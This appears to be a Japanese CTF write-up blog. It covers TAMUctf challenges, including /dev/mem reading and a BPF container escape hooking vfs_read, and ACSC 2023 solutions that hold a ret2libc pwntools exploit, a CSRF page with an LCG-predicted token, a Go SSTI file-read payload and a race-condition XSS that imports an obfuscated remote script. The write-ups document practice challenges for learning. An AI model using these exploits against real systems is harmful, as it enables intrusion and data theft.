        Hashtable<Integer, Tag<Material>> tagBlacklist = new Hashtable<>();
        tagBlacklist.put(1, Tag.ENDERMAN_HOLDABLE);
        tagBlacklist.put(2, Tag.BAMBOO_PLANTABLE_ON);
        tagBlacklist.put(4, Tag.SNOW);
        Hashtable<Material, Integer> materialHashMap = new Hashtable<>();
        Iterator<Material> materials = Arrays.stream(Material.values()).iterator();

        int i = 0;
        while (materialHashMap.size() < 256 && materials.hasNext()) {
            Material material = materials.next();
            if (material.isSolid() && !material.hasGravity() && !material.isInteractable() && !material.equals(Material.FARMLAND) && !isTagged(tagBlacklist, material)) {
                materialHashMap.put(material, Integer.valueOf(i));
                i++;
            }
        }

        int row = 0;

        BufferedOutputStream file;
        try {
            file = new BufferedOutputStream(new FileOutputStream("../test.bin"));
        } catch (Exception e2) {
            e2.printStackTrace();
            return;
        }

        getLogger().info("start");
        while (true) {
            for (int x = 0; x < 256; x++) {
                for (int y = 0; y < 256; y++) {
                    for (int z = 0; z < 16; z++) {
                        try {
                            Material type = world.getBlockAt(0 + x, CHUNKHEIGHT - y, 0 + (16 * row) + z).getType();
                            Integer byte_ = materialHashMap.getOrDefault(type, 0);
                            file.write(byte_ & 0xFF);
                        } catch (Exception e2) {
                            e2.printStackTrace();
                            return;
                        }
                    }
                }
            }

            row++;
            if (row > 100) {
                break;
            }
        }

        try {
            file.close();
        } catch (Exception e2) {
            e2.printStackTrace();
            return;
        }

        getLogger().info("done");
    }

    private boolean isTagged(Hashtable<Integer, Tag<Material>> blacklist, Material material) {
        Enumeration<Integer> e = blacklist.keys();
        while (e.hasMoreElements()) {
            int key = e.nextElement().intValue();
            if (blacklist.get(Integer.valueOf(key)).isTagged(material)) {
                return true;
            }
        }
        return false;
    }
}

出来上がったプラグインを java -Xms1G -Xmx4G -jar spigot-1.20.4.jar nogui -P ../mcfs/test-mod/testplugin/target/ のようにして読み込む。無事にファイルの抽出ができたようだ。

…
[06:01:45] [Server thread/INFO]: [testplugin] Enabling testplugin v1.0-SNAPSHOT
[06:01:45] [Server thread/INFO]: [testplugin] worlds size 3
[06:01:45] [Server thread/INFO]: [testplugin] start
[06:02:42] [Server thread/INFO]: [testplugin] done
…

どうやらext4のファイルシステムらしい。

$ file test.bin
test.bin: Linux rev 1.0 ext4 filesystem data, UUID=95d1e1d8-3450-4c20-a97f-c1ca7da5d292 (extents) (64bit) (large files) (huge files)

FTK Imagerで開き、これに含まれていた flag.tar.gz を取り出す。これにフラグが含まれていた。

gigem{r3curs1v3_f1l3_st0rag3}

[Misc 499] Scavenging (7 solves)

Look around, see what you can find!

Note: File uploads for this challenge are not necessary; you can complete it with the binaries provided.

openssl s_client -connect tamuctf.com:443 -servername scavenging

問題サーバに接続すると、次のようなシェルスクリプトが出力された後にシェルが立ち上がった。なるほど、この外側に出ればよいらしい。

#!/bin/sh

ls -alh /init
cat /init

mount -t ramfs -o size=32m ramfs /mnt
cp -ra /inner/* /mnt/

exec switch_root /mnt /bin/sh

私が問題を見た時点で、pr0xyさんによって mount -t proc none /proc/ でprocfsがマウントできるとわかっていた。procfsから何かしらの情報が得られないか見ていると、ls -la /proc/*/root/ をしたときになぜかPIDが 18 のプロセスでは /dev/ を指していることがわかった。

~ # ls -la /proc/18/root/
ls -la /proc/18/root/
total 0
drwxr-xr-x    7 0        0             2260 Apr  6 22:46 .
drwxr-xr-x    7 0        0             2260 Apr  6 22:46 ..
crw-r--r--    1 0        0          10, 235 Apr  6 22:46 autofs
drwxr-xr-x    2 0        0               60 Apr  6 22:46 bsg
crw-------    1 0        0           5,   1 Apr  6 22:46 console
drwxr-xr-x    3 0        0               60 Apr  6 22:46 cpu
crw-------    1 0        0          10, 126 Apr  6 22:46 cpu_dma_latency
crw-rw-rw-    1 0        0           1,   7 Apr  6 22:46 full
…

この中には mem も含まれている。ramfsらしいので /dev/mem にフラグが載っていないかと考えた。安直だと思いつつやってみると、フラグが得られてしまった。

~ # mount -t proc none /proc/
~ # mkdir /tmp
~ # dd if=/proc/18/root/mem of=/tmp/poyo bs=1 skip=$((0x6000000)) count=$((0x10000000))
~ # cd /tmp
/tmp # strings -n 8 poyo | grep "gigem"
gigem{now_where_did_that_come_from_exactly}
gigem{now_where_did_that_come_from_exactly}

[Misc 499] Over The Shoulder (7 solves)

You are given a shell inside a docker container. The host running docker does cat /home/user/flag.txt once per minute. Read the flag.

openssl s_client -connect tamuctf.com:443 -servername over-the-shoulder

問題サーバに接続するとシェルが立ち上がった。問題文からコンテナエスケープ問だとわかる。まず環境を確認すると、どうやらAlpine Linux 3.19らしいとわかった。

$ uname -a
Linux 6f796d151145 6.7.9-200.fc39.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Mar  6 19:35:04 UTC 2024 x86_64 Linux
$ cat /etc/os-release
NAME="Alpine Linux"
ID=alpine
VERSION_ID=3.19.1
PRETTY_NAME="Alpine Linux v3.19"
HOME_URL="https://alpinelinux.org/"
BUG_REPORT_URL="https://gitlab.alpinelinux.org/alpine/aports/-/issues"

pr0xyさんがScavengingで試されていた方法を見つつ、付与されているcapabilityを見ていく。色々あるけれども cap_perfmoncap_bpf が気になった。

問題文では cat /home/user/flag.txt がホスト側で定期的に実行されていると言っているけれども、もっと派手なエスケープができる(つまり、ホスト側でシェルを奪える)のであればわざわざそんなことを言う必要がない。その情報に関連することができるのではないか、たとえばBPFプログラムでカーネルでの処理にフックして、cat /home/user/flag.txt で読み出されている内容を盗み取ることができるのではないかと考えた。

$ grep Cap /proc/1/status
CapInh: 0000000000000000
CapPrm: 000000c0a80425fb
CapEff: 000000c0a80425fb
CapBnd: 000000c0a80425fb
CapAmb: 0000000000000000
$ capsh --decode=000000c0a80425fb
0x000000c0a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap,cap_perfmon,cap_bpf

別途、手元での検証やBPFを使ったプログラムのビルド用にAlpine Linuxの環境を用意する。適当に masmullin2000/libbpf-sample をベースとしつつ書いていく。並行してコンテナエスケープの色々な資料を読んでいると、kprobeで vfs_read にフックする手法を見つけた。これをやってみよう。

コードは次の通り。

~/libbpf-sample/c/simple # cat exec.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/resource.h>

#include "exec.skel.h"

int main(void)
{
    struct exec *skel = exec__open_and_load();
    exec__attach(skel);

    for(;;) {
    }
    return 0;
}
~/libbpf-sample/c/simple # cat exec.bpf.c
#include "vmlinux.h"
#include <bpf/bpf_helpers.h>

SEC("kprobe/vfs_read")
int BPF_KPROBE(struct pt_regs *ctx, struct file *fd, const char *buf, size_t count)
{
    char s[128];
    bpf_probe_read(s, 128, (void *)ctx->r13);
    bpf_printk("vfs_read %s\n", s);
    return 0;
}

char LICENSE[] SEC("license") = "neko";

これをビルドする。問題サーバの環境ではネットワークへの接続ができないために、できあがったバイナリや共有ライブラリを .tar.gz に固め、Base64エンコードして問題サーバの環境へ持っていく*2。このバイナリを実行しつつ、/sys/kernel/tracing/trace_pipe から bpf_printk の出力を見る。

touch a.txt
# base64 -w900 a.tar.gz | xargs -i echo 'echo "{}" >> a.txt' > tmp.txt でtmp.txtに出力されたコマンドを実行。a.txtにBase64エンコードされた.tar.gzを書き込む
base64 -d a.txt > a.tar.gz
tar zxvf a.tar.gz
mv usr/lib/libbpf.so.1.3.0 /usr/lib/libbpf.so.1
mv usr/lib/libelf-0.190.so /usr/lib/libelf.so.1
mv usr/lib/libzstd.so.1.5.5 /usr/lib/libzstd.so.1

echo 'r:vfs_read vfs_read' >> /sys/kernel/tracing/kprobe_events
./exec &
grep cat /sys/kernel/tracing/trace_pipe &

しばらく待つと、フラグが出力された。

tk: vfs_read
            grep-1086    [000] ...21   131.003332: bpf_trace_printk: vfs_read             grep-1086    [000] ...21   131.003324: bpf_trace_printk: vfs_read            socat-1047    [000] ...21   131.001301:
            grep-1086    [000] ...21   131.003333: bpf_trace_printk: vfs_read             grep-1086    [000] ...21   131.003324: bpf_trace_printk: vfs_read            socat-1047    [000] ...21   131.001301:
           socat-1047    [000] ...21   131.004301: bpf_trace_printk: vfs_read
             cat-1108    [000] ...21   130.989598: bpf_trace_printk: vfs_read gigem{this_aint_your_mamas_shoulder_surfing}
           socat-1047    [000] ...21   131.004301: bpf_trace_printk: vfs_read
             cat-1108    [000] ...21   130.989598: bpf_trace_printk: vfs_read gigem{this_aint_your_mamas_shoulder_surfing}
            grep-1086    [000] ...21   131.006318: bpf_trace_printk: vfs_read            socat-1047    [000] ...21   131.004301: bpf_trace_printk: vfs_read
             cat-1108    [000] ...21   130.989598
gigem{this_aint_your_mamas_shoulder_surfing}

*1:"10 hex characters" ではないが…

*2:既視感がある

Asian Cyber Security Challenge (ACSC) CTF 2023 writeup

はじめに

ACSC 2023

タイトルはミスではない。今年開催されたACSC 2024のwriteupはすでに書いている。去年のACSC 2023への参加時に、運営への提出用として英語のかんたんwriteupは書いたのだけれども、ちゃんとしたものは書いていないし、そもそも英語版すら公開はしていなかった。それがずっと心残りだったので、かんたんwriteupではある*1が放流したい。

総合順位では19位、eligibleなプレイヤーの中では17位だった。また、日本国内のeligibleなプレイヤーに限っても3位だった。かなり危ない順位だったし、実際当落線上にいて、インドのプレイヤーが参加できていた場合には私はInternational Cybersecurity Challenge(ICC)へ進めなかったはず。ACSC 2023の終了後には沈んでいたのを思い出す。

ICC 2023

サンディエゴで開催されたICC 2023では、チームアジアのスターティングメンバーとして参加し、そのまま1日目のJeopardyも2日目のAttack&Defense(A&D)も終日出ていた。JeopardyはMetaCTFの作問で、writeupの公開が禁止されているのであまり言及できないけれども、エスパー問やらブラックボックス問やらばかりだったという印象がある。

A&Dは面白い問題だったが、あるチームが終盤に「SLAをチェックするためのbotにのみ正規のフラグを返し、botが一度フラグを参照した後は偽フラグを返すようにする」という「対策」を取り始め、運営もそれを許すという有り様だった。なお、A&Dの問題は公開されているのでそちらも参照されたい。

Jeopardyは4位、A&DがICC 2022に引き続き1位で、これらがあわさって総合順位は3位という結果だった。


[Crypto 50] Merkle Hellman (193 solves)

We tired of RSA, try a new cryptosystem by merkle and hellman but we don't know how to decrypt the ciphertext.

We need your help for decrypt the ciphertext to get back my flag.txt!

1文字ずつブルートフォースで暗号化を試して、暗号文と一致していれば場合にその文字を採用するという形で解いた。

#!/usr/bin/env python3
import random
import binascii

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)

def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m

def gcd(a, b): 
    if a == 0: 
        return b 
    return gcd(b % a, a) 

flag = open("flag.txt","rb").read()
# Generate superincreasing sequence
w = [random.randint(1,256)]
s = w[0]
for i in range(6):
    num = random.randint(s+1,s+256)
    w.append(num)
    s += num

# Generate private key
total = sum(w)
q = random.randint(total+1,total+256)
r = 0
while gcd(r,q) != 1:
    r = random.randint(100, q)

# Calculate public key
b = []
for i in w:
    b.append((i * r) % q)
    
b = [7352, 2356, 7579, 19235, 1944, 14029, 1084]
w, q = ([184, 332, 713, 1255, 2688, 5243, 10448], 20910)

flag = b'ACSC{DUMMY}'

c = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550]

# Decrypting
flag = ''
for x in c:
    for f in range(0x20, 0x7f):
        s = 0
        for i in range(7):
            if f & (64>>i):
                s += b[i]
        if s == x:
            flag += chr(f)


print(flag)
ACSC{E4zY_P3@zy}

[Forensics 50] pcap-1 (68 solves)

Here is a packet capture of my computer when I was preparing my presentation on Google Slides. Can you reproduce the contents of the slides?

Note: If you find a "fake flag", submit it here. Some text next to the flag says that it is not accepted, but now it is. There are 2 flags in the challenge, and both are accepted. Part 1 accepts the flag that is easier to get.

USB HIDのパケットが流れているpcapが渡される。1.12.1 がキーボードの入力をしているように見えたので、usb.addr == 1.12.1 && usbhid.data.array.usage でフィルターしつつ手作業でなんとかした。

ACSC{f0r3ns1cs_is_s0_fun}

[Pwn 50] Vaccine (115 solves)

Give me the correct vaccine to view my secret

nc vaccine.chal.ctf.acsc.asia 1337
nc vaccine-2.chal.ctf.acsc.asia 1337 (Backup)

単純なBOFがあり、これでRIPが奪える。

$ echo -en "\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCCCCCCCC" > input

ということで、次のような手順のexploitを書く。

  1. puts のアドレスをリークさせて、libcのベースアドレスを計算する
  2. main へ飛ばしてもう一度BOF(ret2vuln)
  3. One-Gadget RCEへ飛ばす

できあがったexploitがこちら。

from pwn import *
elf = ELF('./vaccine')
libc = ELF('./libc-2.31.so')

pop_rdi = 0x401443
pop_rsi_r15 = 0x401441

s = remote('vaccine.chal.ctf.acsc.asia', 1337)

###

s.recvuntil(b'Give me vaccine: ')

payload1 = b'\x00' + b'A' * 111
payload1 += b'\x00' + b'A' * 111
payload1 = payload1.ljust(264, b'B')

payload1 += p64(pop_rdi)
payload1 += p64(elf.got['puts'])
payload1 += p64(elf.symbols['puts'])

payload1 += p64(elf.symbols['main'])

s.sendline(payload1)
s.recvline()
s.recvline()

addr = s.recvline()[:-1]
puts = u64(addr.ljust(8, b'\0'))
libc_base = puts - libc.symbols['puts']

###

s.recvuntil(b'Give me vaccine: ')

payload2 = b'\x00' + b'A' * 111
payload2 += b'\x00' + b'A' * 111
payload2 = payload2.ljust(264, b'B')

payload2 += p64(libc_base + 0xe3b01) # One-Gadget RCE 

payload2 += p64(pop_rdi)
payload2 += p64(0)
payload2 += p64(elf.symbols['exit'])

s.sendline(payload2)

s.interactive()
ACSC{RoP_3@zy_Pe4$y}

[Rev 80] serverless (109 solves)

I made a serverless encryption service. It is so serverless that you should host it yourself.

I encrypted the flag with "acscpass" as the password, but have not finished implementing the decryption feature. Help me decrypt the flag!

MTE3LDk2LDk4LDEwNyw3LDQzLDIyMCwyMzMsMTI2LDEzMSwyMDEsMTUsMjQ0LDEwNSwyNTIsMTI1LDEwLDE2NiwyMTksMjMwLDI1MCw4MiwyMTEsMTAxLDE5NSwzOSwyNDAsMTU4LDE3NCw1OSwxMDMsMTUzLDEyMiwzNiw2NywxNzksMjI0LDEwOCw5LDg4LDE5MSw5MSwxNCwyMjQsMTkzLDUyLDE4MywyMTUsMTEsMjYsMzAsMTgzLDEzMywxNjEsMTY5LDkxLDQ4LDIyOSw5OSwxOTksMTY1LDEwMCwyMTgsMCwxNjUsNDEsNTUsMTE4LDIyNywyMzYsODAsMTE2LDEyMCwxMjUsMTAsMTIzLDEyNSwxMzEsMTA2LDEyOCwxNTQsMTMzLDU1LDUsNjMsMjM2LDY5LDI3LDIwMSwxMTgsMTgwLDc0LDIxMywxMzEsNDcsMjAwLDExNiw1Miw0OSwxMjAsODYsMTI0LDE3OCw5MiwyNDYsMTE5LDk4LDk1LDg2LDEwNCw2NCwzMCw1NCwyMCwxMDksMTMzLDE1NSwxMjIsMTEsODcsMTYsMjIzLDE2MiwxNjAsMjE1LDIwOSwxMzYsMjQ5LDIyMSwxMzYsMjMy

いい感じにメッセージを暗号化できるアプリが渡される。

難読化されたJSで実装されており、これを気合で読んで復号のためのスクリプトを書く必要がある。気合で読むと言っても大した行数ではないので、比較的簡単に読める。RSAとXORの組み合わせだというのは読むとすぐわかる。

import binascii
import base64
from Crypto.Util.number import inverse
from pwn import *

g = [0x9940435684b6dcfe5beebb6e03dc894e26d6ff83faa9ef1600f60a0a403880ee166f738dd52e3073d9091ddabeaaff27c899a5398f63c39858b57e734c4768b7, 0xbd0d6bef9b5642416ffa04e642a73add5a9744388c5fbb8645233b916f7f7b89ecc92953c62bada039af19caf20ecfded79f62d99d86183f00765161fcd71577, 0xa9fe0fe0b400cd8b58161efeeff5c93d8342f9844c8d53507c9f89533a4b95ae5f587d79085057224ca7863ea8e509e2628e0b56d75622e6eace59d3572305b9, 0x8b7f4e4d82b59122c8b511e0113ce2103b5d40c549213e1ec2edba3984f4ece0346ab1f3f3c0b25d02c1b21d06e590f0186635263407e0b2fa16c0d0234e35a3, 0xf840f1ee2734110a23e9f9e1a05b78eb711c2d782768cef68e729295587c4aa4af6060285d0a2c1c824d2c901e5e8a1b1123927fb537f61290580632ffea0fbb, 0xdd068fd4984969a322c1c8adb4c8cc580adf6f5b180b2aaa6ec8e853a6428a219d7bffec3c3ec18c8444e869aa17ea9e65ed29e51ace4002cdba343367bf16fd, 0x96e2cefe4c1441bec265963da4d10ceb46b7d814d5bc15cc44f17886a09390999b8635c8ffc7a943865ac67f9043f21ca8d5e4b4362c34e150a40af49b8a1699, 0x81834f81b3b32860a6e7e741116a9c446ebe4ba9ba882029b7922754406b8a9e3425cad64bda48ae352cdc71a7d9b4b432f96f51a87305aebdf667bc8988d229, 0xd8200af7c41ff37238f210dc8e3463bc7bcfb774be93c4cff0e127040f63a1bce5375de96b379c752106d3f67ec8dceca3ed7b69239cf7589db9220344718d5f, 0xb704667b9d1212ae77d2eb8e3bd3d5a4cd19aa36fc39768be4fe0656c78444970f5fc14dc39a543d79dfe9063b30275033fc738116e213d4b6737707bb2fd287]
h = [0xd4aa1036d7d302d487e969c95d411142d8c6702e0c4b05e2fbbe274471bf02f8f375069d5d65ab9813f5208d9d7c11c11d55b19da1132c93eaaaba9ed7b3f9b1, 0xc9e55bae9f5f48006c6c01b5963199899e1cdf364759d9ca5124f940437df36e8492b3c98c680b18cac2a847eddcb137699ffd12a2323c9bc74db2c720259a35, 0xcbcdd32652a36142a02051c73c6d64661fbdf4cbae97c77a9ce1a41f74b45271d3200678756e134fe46532f978b8b1d53d104860b3e81bdcb175721ab222c611, 0xf79dd7feae09ae73f55ea8aa40c49a7bc022c754db41f56466698881f265507144089af47d02665d31bba99b89e2f70dbafeba5e42bdac6ef7c2f22efa680a67, 0xab50277036175bdd4e2c7e3b7091f482a0cce703dbffb215ae91c41742db6ed0d87fd706b622f138741c8b56be2e8bccf32b7989ca1383b3d838a49e1c28a087, 0xb5e8c7706f6910dc4b588f8e3f3323503902c1344839f8fcc8d81bfa8e05fec2289af82d1dd19afe8c30e74837ad58658016190e070b845de4449ffb9a48b1a7, 0xc351c7115ceffe554c456dcc9156bc74698c6e05d77051a6f2f04ebc5e54e4641fe949ea7ae5d5d437323b6a4be7d9832a94ad747e48ee1ebac9a70fe7cfec95, 0x815f17d7cddb7618368d1e1cd999a6cb925c635771218d2a93a87a690a56f4e7b82324cac7651d3fbbf35746a1c787fa28ee8aa9f04b0ec326c1530e6dfe7569, 0xe226576ef6e582e46969e29b5d9a9d11434c4fcfeccd181e7c5c1fd2dd9f3ff19641b9c5654c0f2d944a53d3dcfef032230c4adb788b8188314bf2ccf5126f49, 0x84819ec46812a347894ff6ade71ae351e92e0bd0edfe1c87bda39e7d3f13fe54c51f94d0928a01335dd5b8689cb52b638f55ced38693f0964e78b212178ab397]

password = b'acscpass'
encrypted = b'MTE3LDk2LDk4LDEwNyw3LDQzLDIyMCwyMzMsMTI2LDEzMSwyMDEsMTUsMjQ0LDEwNSwyNTIsMTI1LDEwLDE2NiwyMTksMjMwLDI1MCw4MiwyMTEsMTAxLDE5NSwzOSwyNDAsMTU4LDE3NCw1OSwxMDMsMTUzLDEyMiwzNiw2NywxNzksMjI0LDEwOCw5LDg4LDE5MSw5MSwxNCwyMjQsMTkzLDUyLDE4MywyMTUsMTEsMjYsMzAsMTgzLDEzMywxNjEsMTY5LDkxLDQ4LDIyOSw5OSwxOTksMTY1LDEwMCwyMTgsMCwxNjUsNDEsNTUsMTE4LDIyNywyMzYsODAsMTE2LDEyMCwxMjUsMTAsMTIzLDEyNSwxMzEsMTA2LDEyOCwxNTQsMTMzLDU1LDUsNjMsMjM2LDY5LDI3LDIwMSwxMTgsMTgwLDc0LDIxMywxMzEsNDcsMjAwLDExNiw1Miw0OSwxMjAsODYsMTI0LDE3OCw5MiwyNDYsMTE5LDk4LDk1LDg2LDEwNCw2NCwzMCw1NCwyMCwxMDksMTMzLDE1NSwxMjIsMTEsODcsMTYsMjIzLDE2MiwxNjAsMjE1LDIwOSwxMzYsMjQ5LDIyMSwxMzYsMjMy'

encrypted = list(int(x) for x in base64.b64decode(encrypted).decode().split(','))
encrypted = list(xor(encrypted[::-1], password))

encrypted = encrypted[::-1]
j, k, s = encrypted[:3]
c = int(''.join([hex(x)[2:].zfill(2) for x in encrypted[3:]]), 16)

p = g[j]
q = h[k]
e = (2 ** (2 ** s)) + 1

n = p * q
d = inverse(e, (p - 1) * (q - 1))
m = hex(pow(c, d, n))[2:]
print(binascii.unhexlify(m))
ACSC{warmup_challenge_so_easy}

[Rev 120] ngo (48 solves)

https://www.youtube.com/watch?v=R0JWMtr7oDw

PEファイルが渡される。実行するとフラグをちょっとずつ出力してくれるけれども、徐々にそのスピードが遅くなる。

>ngo.exe
The flag is "ACSC{yUhFgR

フラグの出力処理はこんな感じ。(これは自分で名付けた関数名だが) aa_ayashii_func が復号のための鍵ストリーム的な役割を果たしているっぽいとわかる。この aa_ayashii_func の呼び出し回数が 42^i 回とループごとに増えていくのが重くなる原因っぽい。

__int64 aa_print_flag()
{
  unsigned __int64 j; // [rsp+28h] [rbp-18h]
  char v2; // [rsp+33h] [rbp-Dh]
  int i; // [rsp+34h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+38h] [rbp-8h]

  sub_140001780();
  maybe_puts("The flag is \"ACSC{");
  v4 = 1LL;
  for ( i = 0; i <= 11; ++i )
  {
    for ( j = 0LL; j < v4; ++j )
      v2 = aa_ayashii_func();
    maybe_putchar((unsigned int)(char)(v2 ^ encrypted_flag[i]));
    v4 *= 42LL;
  }
  maybe_puts("}\".\n");
  return 0LL;
}

aa_ayashii_func はこういう感じ。シンプルだ。x は当然グローバル変数で、初期値は 0x3d2964f0 になっている。ここで返り値が unsigned int と32ビットであることに気づく。つまり、周期は計算可能な程度に小さいはず。

__int64 aa_ayashii_func()
{
  int v1; // [rsp+8h] [rbp-8h]

  v1 = x & 1;
  x = (unsigned int)x >> 1;
  x ^= -v1 & 0x80200003;
  return (unsigned int)x;
}

この鍵ストリームの周期は(たしか) 0xffffffff だった。復号用のコードを書く。

#include <stdio.h>

unsigned char encrypted_flag[] = {
    1, 0x19, 0xEF, 0x5A, 0xFA, 0xC8, 0x2E, 0x69, 0x31, 0xd7, 0x81, 0x21
};

int main(void) {
    long long int v4 = 1;
    unsigned int x = 0x3D2964F0;
    int v1;
    printf("ACSC{");
    for (int i = 0; i <= 11; i++) {
        for (unsigned j = 0; j < (v4 % 0xffffffff); j++) {
            v1 = x & 1;
            x = (unsigned int)x >> 1;
            x ^= -v1 & 0x80200003;
        }

        unsigned char c = x ^ encrypted_flag[i];
        printf("%c", c);
        v4 *= 42;
    }
    puts("}");
}
ACSC{yUhFgRvQ2Afi}

[Hardware 100] Hardware is not so hard (50 solves)

I have captured communication between a SD card and an embedded device. Could you extract the content of the SD Card? It's in SPI mode.

SDカードの読み書きをしている様子をキャプチャしたものが与えられる。

まずここらへんを見る:

読まれているアドレスでソートし、くっつける。

import binascii

s = """
...
"""

def f(x):
    if x[:24] == 'ffffffffffffffffffffffff':
      return x[24:]
    elif x[:18] == 'ffffffffffffffffff':
      return x[18:]
    elif x[:12] == 'ffffffffffff':
      return x[12:]
    return x

ss = [(s[i].split(' : ')[1], s[i+2].split(' : ')[1]) for i in range(0, len(s), 3)]
ss = [(int(x[0][2:], 16), binascii.unhexlify(x[1][x[1].find('fe')+2:-4])) for x in ss]
ss = list(sorted(ss, key=lambda x: x[0]))
print(ss)

with open('a.jpg', 'wb') as f:
   for x in ss:
       f.write(x[1])
ACSC{1tW@sE@syW@snt1t}

[Web 120] Admin Dashboard (66 solves)

I built my first website, admin dashboard with bootstrap and PHP!
Feel free to try it! Hope there is no bug..

/addadmin に対しCSRFさせるスクリプトをadmin botに踏ませることでadminであるユーザを増やそうにも、以下のようにCSRFトークンがある。また、ログイン状態を保持するCookieは SameSite 属性でLaxが指定されているためにやや厳しそうだが、a 要素のリンクを踏ませる場合ならばほかのオリジンからのアクセスでもCookieは飛ぶし、/addadmin はGETで受け付けてくれるから、それで問題ない。

$_REQUEST['csrf-token'] === gmp_strval($_SESSION['X'],16)

CSRFトークンは次のようにLCGで実装されているので、実は推測可能だ。適当なスクリプトを使って(mitsuさんありがとう!)LCGに関連するパラメータを突き止めると、A39238395068069510873877941548003979614 で、C163462177865055857243861130640161174000 であるとわかった。

<?php$sql = "SELECT * FROM secrets";
    $stmt = $conn->prepare($sql);
    $stmt->execute();
    $result = $stmt->get_result();
    $row = $result->fetch_assoc();
    if($row){
        $A = gmp_import($row['A']);
        $C = gmp_import($row['C']);
        $M = gmp_init("0xc4f3b4b3deadbeef1337c0dedeadc0dd");
    }
    if (!isset($_SESSION['X'])){
        $X = gmp_import($_SESSION["user"]["username"]);
        $_SESSION['X'] = gmp_mod(gmp_add(gmp_mul($A, $X),$C),$M);
        $_SESSION["token-expire"] = time() + 30; 
    }else{
        if(time() >= $_SESSION["token-expire"]){
            $_SESSION['X'] = gmp_mod(gmp_add(gmp_mul($A, $_SESSION['X']),$C),$M);
            $_SESSION["token-expire"] = time() + 30; 
        }
    }

あとはやるだけ。次のWebページを通報すればadminになれる。

<a href="http://localhost/addadmin?username=nekochan22&password=nekochan&csrf-token=1fe69abb084e42434627a84405d722e0" id="a">aaa</a>
<script>
document.getElementById('a').click()
</script>
ACSC{C$rF_15_3VerYwh3Re!}

[Web 200] easySSTI (42 solves)

Can you SSTI me?

service
service (Backup)

GolangのSSTIで /flag を読み出せという問題。ただし、WAFが挟まっていて、/ACSC\{.*\}/ がレスポンスに含まれていると怒られる。フレームワークはEchoが使われていて、テンプレートの方は標準の html/template が使われている。つまり、PythonやJSのように簡単にRCEに持ち込めるわけではないが、Echoの何かしらは使えそうかなというところ。

ドキュメントとにらめっこしつつ、有用なものがないか探す。かなり候補が多くて、当時のメモもこの問題の調査をしている部分がかなり長くなっている。

正解は .Echo.Filesystem.Open.Get "template" で適当に []byte を調達してきつつ叩いてやればよい。

$ curl -i http://easyssti.chal.ctf.acsc.asia:8000/ -H 'Template: {{ (.Echo.Filesystem.Open "/flag").Read (.Get "template") }}{{ . }}'
HTTP/1.1 200 OK
content-type: text/html; charset=UTF-8
date: Sat, 25 Feb 2023 23:55:47 GMT
content-length: 354
Connection: keep-alive
Keep-Alive: timeout=72

26{0xc0000bc400 0xc0003500c0 / [] [] map[] 0x7aee80 map[template:[65 67 83 67 123 104 48 119 95 100 105 100 95 121 48 117 95 108 101 97 107 95 109 101 125 10 34 47 102 108 97 103 34 41 46 82 101 97 100 32 40 46 71 101 116 32 34 116 101 109 112 108 97 116 101 34 41 32 125 125 123 123 32 46 32 125 125]] 0xc0001206c0 &lt;nil&gt; {{0 0} 0 0 {{} 0} {{} 0}}}
ACSC{h0w_did_y0u_leak_me}

[Web 250] Gotion (9 solves)

Gotion is yet another simple secure note service. You might have seen these kind of applications many times before, but try this one!

service Please use backup for now
service (Backup)

XSSに持ち込むのが目的の、Notion的なWebアプリ。何を入力してもエスケープされるので一見セキュアだが、nginxのキャッシュ周りの設定がかなり怪しくなっていて、というよりわざわざ設定しているのが怪しい。

    location ~ .mp4$ {
        # Smart and Efficient Byte-Range Caching with NGINX
        # https://www.nginx.com/blog/smart-efficient-byte-range-caching-nginx/
        proxy_cache mycache;
        slice              4096; # Maybe it should be bigger?
        proxy_cache_key    $host$uri$is_args$args$slice_range;
        proxy_set_header   Range $slice_range;
        proxy_http_version 1.1;
        proxy_cache_valid  200 206 1h;
        proxy_pass http://app:3000;
    }

Gotionにはメモの更新機能があるのだけれども、ガチャガチャ試しているうちに、同じタイミングで同じメモに対して、31文字と97文字というように長さの異なる2つの内容での更新を試したところ、次のようにHTMLが壊れだした。

  <textarea name="body" clapiy444444444444444444444444444444444o</textarea>
          <label for="floatingTextarea">note</label>
        </div>
        <div class="col-12">

メモは以下のようにファイルとして保存されている。書き込みタイミングが重なったことでRace Conditionを起こせたらしい。

const (
    PublicDir    = "./public"
    NoteBaseDir  = "./notes"
    NoteTemplate = "./templates/note.html"
)

func WriteNote(file *os.File, body NoteParam) {
    body.RecaptchaSiteKey = os.Getenv("RECAPTCHA_SITEKEY")

    tmpl, err := template.ParseFiles(NoteTemplate)
    if err != nil {
        panic(err)
    }

    err = tmpl.Execute(file, body)
    if err != nil {
        panic(err)
    }
}

// …

func GetNotePath(noteId string) (string, string) {
    notePublicPath := filepath.Join(NoteBaseDir, noteId)
    noteFilePath := filepath.Join(PublicDir, notePublicPath)

    return noteFilePath, notePublicPath
}

文字数の調整を行って、ちょうどHTMLタグの属性部分に autofocus, onfocus, contenteditable の3種の神器が挿入されるような組み合わせを探す。次のようにするといい感じに仕込めた。

#!/bin/bash
gg() { curl 'http://gotion.chal.ctf.acsc.asia/update-note' \
…
  -H 'Content-Type: application/x-www-form-urlencoded' \
…
  --data-raw 'noteId=9cd8c090-6b47-4943-b381-9e1b1e40a850-abc&title='"$1"'&body='"$2" \
  --compressed; }


gg b "                            autofocus onfocus=import(String.fromCharCode(47,47,…,58,56,48,48,49)) contenteditable               " & \
